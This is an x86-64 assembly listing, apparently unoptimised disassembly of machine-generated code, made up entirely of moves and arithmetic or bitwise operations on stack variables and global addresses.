movzx eax, word [0x140114230]
mov word [rsp + 0x970], ax
mov rax, qword [rsp + 0x55a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sar eax, cl
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4ba0]
mov qword [rsp + 0x5678], rax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f18]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5410], rax
mov rax, qword [rsp + 0x5140]
mov rcx, qword [rsp + 0x4fe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x2b9c]
mov qword [rsp + 0x5680], rax
mov rax, qword [0x140114178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x87c]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov rcx, qword [0x1401141a8]
mov word [rcx], ax
lea rax, [rsp + 0x8dc]
mov qword [rsp + 0x5688], rax
mov rax, qword [rsp + 0x53f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x894]
sub eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8b0], ax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x55b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5260], rax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov qword [rsp + 0x5690], rax
mov eax, dword [rsp + 0x2bc0]
mov ecx, dword [rsp + 0x2b8c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5460]
mov dword [rcx], eax
lea rax, [0x140114150]
mov qword [rsp + 0x5698], rax
movsx eax, byte [rsp + 0x3b]
mov rcx, qword [rsp + 0x5050]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114190]
mov byte [rcx], al
mov rax, qword [rsp + 0x51e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x51d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5160]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ec0]
mov word [rcx], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x56a0], rax
movsx eax, byte [rsp + 0x3d]
mov rcx, qword [0x140114190]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x5628]
mov qword [rsp + 0x56a8], rax
mov rax, qword [rsp + 0x52c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5478]
mov dword [rcx], eax
mov rax, qword [0x140113008]
movzx ecx, al
mov rax, qword [rsp + 0x5650]
shl rax, cl
mov qword [rsp + 0x5388], rax
mov eax, dword [rsp + 0x2b00]
mov dword [rsp + 0x2bf8], eax
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140113050], ax
movsx eax, byte [rsp + 0x6c]
movsx ecx, byte [rsp + 0x65]
and eax, ecx
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
mov byte [rsp + 0x7e], al
movsx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0x55c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
lea rax, [0x140113004]
mov qword [rsp + 0x56b0], rax
mov rax, qword [rsp + 0x5238]
mov rcx, qword [rsp + 0x4f48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x5358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ae4], eax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5270]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5010]
mov qword [rcx], rax
movsx eax, word [rsp + 0x910]
movsx ecx, word [rsp + 0x8a8]
sub eax, ecx
mov rcx, qword [0x140114208]
mov word [rcx], ax
movzx eax, byte [0x140113022]
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x52d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5450]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5420]
mov byte [rcx], al
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x94c], ax
movzx eax, word [rsp + 0x908]
mov word [rsp + 0x974], ax
mov rax, qword [rsp + 0x53d8]
mov rcx, qword [rsp + 0x5478]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b04], eax
mov rax, qword [rsp + 0x4e60]
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x4fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x56a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a88]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5318]
movzx eax, byte [rax]
mov byte [0x1401141bf], al
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f28]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8d8], ax
lea rax, [rsp + 0x848]
mov qword [rsp + 0x56c8], rax
mov rax, qword [rsp + 0x5578]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov rcx, qword [rsp + 0x5450]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5400]
mov rax, qword [rax]
mov qword [rsp + 0x56d0], rax
mov rax, qword [rsp + 0x55a0]
mov rcx, qword [rsp + 0x5120]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b74], eax
mov rax, qword [rsp + 0x4e08]
mov qword [rsp + 0x56d8], rax
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113054], ax
movsx eax, word [rsp + 0x950]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8c4], ax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x56e0], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x92c]
add eax, ecx
mov word [rsp + 0x934], ax
movzx eax, byte [rsp + 0x4e]
mov rcx, qword [rsp + 0x5020]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x2ae4]
mov dword [rsp + 0x2bfc], eax
mov rax, qword [rsp + 0x54e0]
mov rcx, qword [rsp + 0x5128]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5138], rax
lea rax, [0x140114160]
mov qword [rsp + 0x56e8], rax
mov rax, qword [rsp + 0x55d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b90], eax
movsx eax, word [rsp + 0x928]
movsx ecx, word [rsp + 0x8e0]
add eax, ecx
mov word [0x140113014], ax
mov rax, qword [0x140114228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x940], ax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov byte [rsp + 0x81], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x914]
shl eax, cl
mov word [rsp + 0x88c], ax
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x5628]
cqo
movabs rcx, 0x72dc41c59c3289
idiv rcx
mov rcx, qword [rsp + 0x55f8]
mov qword [rcx], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2a4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5108]
mov dword [rcx], eax
lea rax, [rsp + 0x2bf8]
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x53b0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x3b]
mov rcx, qword [0x140114238]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140113026], al
lea rax, [rsp + 0x8b4]
mov qword [rsp + 0x56f8], rax
movzx eax, word [rsp + 0x874]
movzx ecx, word [rsp + 0x94c]
sub eax, ecx
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5110]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x3a]
mov qword [rsp + 0x5700], rax
mov rax, qword [rsp + 0x5538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
mov qword [rsp + 0x5708], rax
mov rax, qword [rsp + 0x5028]
mov ecx, dword [rsp + 0x2b70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x5710], rax
movsx eax, word [rsp + 0x8e0]
mov rcx, qword [rsp + 0x5298]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5688]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114290]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4d]
mov rcx, qword [rsp + 0x5268]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x54a0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2bd4]
mov dword [rsp + 0x2c00], eax
mov rax, qword [rsp + 0x4fa0]
mov rcx, qword [rsp + 0x52f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x54c8], rax
mov eax, dword [rsp + 0x2bac]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b98], eax
lea rax, [rsp + 0x5250]
mov qword [rsp + 0x5718], rax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x5360]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov byte [rcx], al
lea rax, [rsp + 0x950]
mov qword [0x1401142a8], rax
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x5720], rax
mov rax, qword [rsp + 0x4f80]
movsx eax, word [rax]
mov rcx, qword [0x140114180]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5598]
mov word [rcx], ax
mov rax, qword [rsp + 0x54f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x49], al
lea rax, [rsp + 0x2b08]
mov qword [rsp + 0x5728], rax
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x52c0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4e60], rax
lea rax, [rsp + 0x52f8]
mov qword [rsp + 0x5730], rax
mov rax, qword [rsp + 0x5428]
mov rcx, qword [rsp + 0x5680]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2bc0], eax
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x84], al
movzx eax, word [0x140113020]
movzx ecx, word [rsp + 0x940]
and eax, ecx
mov word [section..data], ax
movsx eax, word [rsp + 0x904]
movsx ecx, word [rsp + 0x8d0]
sub eax, ecx
mov rcx, qword [rsp + 0x5100]
mov word [rcx], ax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [0x14011301f]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, byte [rax]
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x51b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bfc]
mov dword [rsp + 0x2c04], eax
mov rax, qword [rsp + 0x5348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
lea rax, [rsp + 0x35]
mov qword [rsp + 0x5738], rax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x50a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114298]
mov byte [rcx], al
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x53f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x954], ax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x5740], rax
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x55e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a]
sar eax, cl
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x54e0]
mov rax, qword [rax]
mov qword [rsp + 0x5748], rax
mov eax, dword [rsp + 0x2a20]
mov ecx, dword [rsp + 0x2ba4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b14], eax
lea rax, [rsp + 0x2bf8]
mov qword [rsp + 0x5750], rax
mov rax, qword [0x140114160]
movzx ecx, al
mov rax, qword [rsp + 0x5410]
shl rax, cl
mov rcx, qword [rsp + 0x5588]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov word [0x1401142b0], ax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x32]
xor eax, ecx
mov byte [rsp + 0x46], al
movzx eax, word [0x14011302c]
mov word [rsp + 0x978], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x53f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5560]
mov word [rcx], ax
lea rax, [rsp + 0x860]
mov qword [rsp + 0x5758], rax
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5380]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5548]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b7c]
mov dword [rsp + 0x2c08], eax
mov rax, qword [rsp + 0x5378]
mov rcx, qword [rsp + 0x5108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x5398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5020]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113006], al
mov rax, qword [rsp + 0x51e0]
movzx eax, byte [rax]
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x54d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x8e4]
mov word [rsp + 0x97c], ax
movsx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0x56b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x54b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bd4], eax
lea rax, [rsp + 0x4fb0]
mov qword [rsp + 0x5760], rax
mov rax, qword [rsp + 0x56d0]
mov rcx, qword [rsp + 0x5710]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov dword [rsp + 0x2c0c], eax
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x8d8]
sub eax, ecx
mov word [0x140113058], ax
movzx eax, word [rsp + 0x8cc]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x94c], ax
movzx eax, byte [0x140113017]
movzx ecx, byte [rsp + 0x7a]
shl eax, cl
mov rcx, qword [rsp + 0x4f58]
mov byte [rcx], al
lea rax, [rsp + 0x38]
mov qword [rsp + 0x5768], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x51f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5230]
mov byte [rcx], al
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x5770], rax
mov rax, qword [rsp + 0x5488]
mov rcx, qword [rsp + 0x5388]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5190]
mov qword [rcx], rax
lea rax, [rsp + 0x2b2c]
mov qword [rsp + 0x5778], rax
mov rax, qword [rsp + 0x5030]
cqo
idiv qword [rsp + 0x4b78]
mov qword [rsp + 0x4f18], rax
lea rax, [rsp + 0x8e4]
mov qword [0x1401142b8], rax
mov rax, qword [rsp + 0x51e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
and eax, ecx
mov byte [rsp + 0x7f], al
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0x5780], rax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
lea rax, [rsp + 0x59]
mov qword [rsp + 0x5788], rax
mov rax, qword [rsp + 0x56a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5610]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5030], rax
mov rax, qword [rsp + 0x5718]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e40], rax
lea rax, [rsp + 0x2b70]
mov qword [rsp + 0x5790], rax
mov eax, dword [rsp + 0x2ba4]
mov ecx, dword [rsp + 0x2bd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb4], eax
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401142a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x52a0]
movzx eax, byte [rax]
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5450]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5768]
mov byte [rcx], al
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
add eax, ecx
mov rcx, qword [rsp + 0x5308]
mov byte [rcx], al
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov word [rsp + 0x980], ax
mov rax, qword [rsp + 0x4fb8]
mov ecx, dword [rsp + 0x2afc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5168]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov dword [rsp + 0x2c10], eax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x5138]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5648]
shl rax, cl
mov rcx, qword [rsp + 0x56a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5170]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140114240]
mov word [rcx], ax
movzx eax, word [rsp + 0x8f8]
mov word [rsp + 0x984], ax
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x960], ax
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x88], al
movsx eax, word [rsp + 0x968]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x8d8], ax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x5798], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x5730]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x55e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x52c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5460]
mov eax, dword [rax]
mov dword [rsp + 0x2c14], eax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x5700]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113027], al
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
movsx ecx, word [0x140113048]
add eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov word [rcx], ax
lea rax, [rsp + 0x36]
mov qword [rsp + 0x57a0], rax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
add eax, ecx
mov byte [rsp + 0x3d], al
movzx eax, word [rsp + 0x980]
movzx ecx, word [rsp + 0x91c]
sub eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x5158]
mov rax, qword [rax]
mov qword [rsp + 0x57a8], rax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e78], rax
mov eax, dword [rsp + 0x2be0]
mov dword [rsp + 0x2c18], eax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x5168]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b90], eax
movsx eax, byte [rsp + 0x47]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x50], al
lea rax, [0x1401141b8]
mov qword [0x1401142c0], rax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x57b0], rax
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x92c]
sar eax, cl
mov rcx, qword [rsp + 0x53f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov word [rsp + 0x988], ax
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x5430]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4f38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b0c]
movzx ecx, al
mov eax, dword [rsp + 0x29f0]
shl eax, cl
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x57b8], rax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c98]
movzx eax, word [rax]
mov word [rsp + 0x98c], ax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x4a]
add eax, ecx
mov rcx, qword [0x140114260]
mov byte [rcx], al
movsx eax, word [0x1401141b8]
movsx ecx, word [rsp + 0x8c4]
and eax, ecx
mov rcx, qword [rsp + 0x55e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0x89], al
mov rax, qword [rsp + 0x4fe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov rcx, qword [rsp + 0x5470]
mov byte [rcx], al
mov rax, qword [rsp + 0x5028]
mov rcx, qword [rsp + 0x57b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5488]
mov rax, qword [rax]
mov qword [rsp + 0x57c0], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5030]
mov qword [rsp + 0x57c8], rax
mov rax, qword [rsp + 0x5058]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5630]
mov word [rcx], ax
lea rax, [rsp + 0x5b]
mov qword [0x1401142c8], rax
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x5d]
sub eax, ecx
mov byte [rsp + 0x32], al
lea rax, [rsp + 0x96c]
mov qword [rsp + 0x57d0], rax
mov rax, qword [rsp + 0x5668]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x870]
sub eax, ecx
mov word [rsp + 0x844], ax
lea rax, [rsp + 0x5798]
mov qword [rsp + 0x57d8], rax
mov rax, qword [rsp + 0x5330]
mov ecx, dword [rsp + 0x2b50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5198]
mov rcx, qword [rsp + 0x5390]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4ec8]
mov qword [rsp + 0x57e0], rax
movzx eax, word [rsp + 0x908]
movzx ecx, word [rsp + 0x974]
or eax, ecx
mov word [rsp + 0x8bc], ax
movsx eax, word [rsp + 0x8c0]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140113004], ax
mov rax, qword [rsp + 0x50b8]
movzx eax, byte [rax]
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x5318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5740]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5308]
mov byte [rcx], al
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0x8b], al
movzx eax, word [0x140113054]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x90c], ax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x55b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov dword [rcx], eax
lea rax, [rsp + 0x4fd0]
mov qword [rsp + 0x57e8], rax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2b5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c08], eax
mov rax, qword [rsp + 0x53c0]
mov rax, qword [rax]
mov qword [rsp + 0x57f0], rax
lea rax, [rsp + 0x944]
mov qword [0x1401142d0], rax
movsx eax, byte [rsp + 0x4a]
movsx ecx, byte [rsp + 0x4b]
and eax, ecx
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x8b]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x49], al
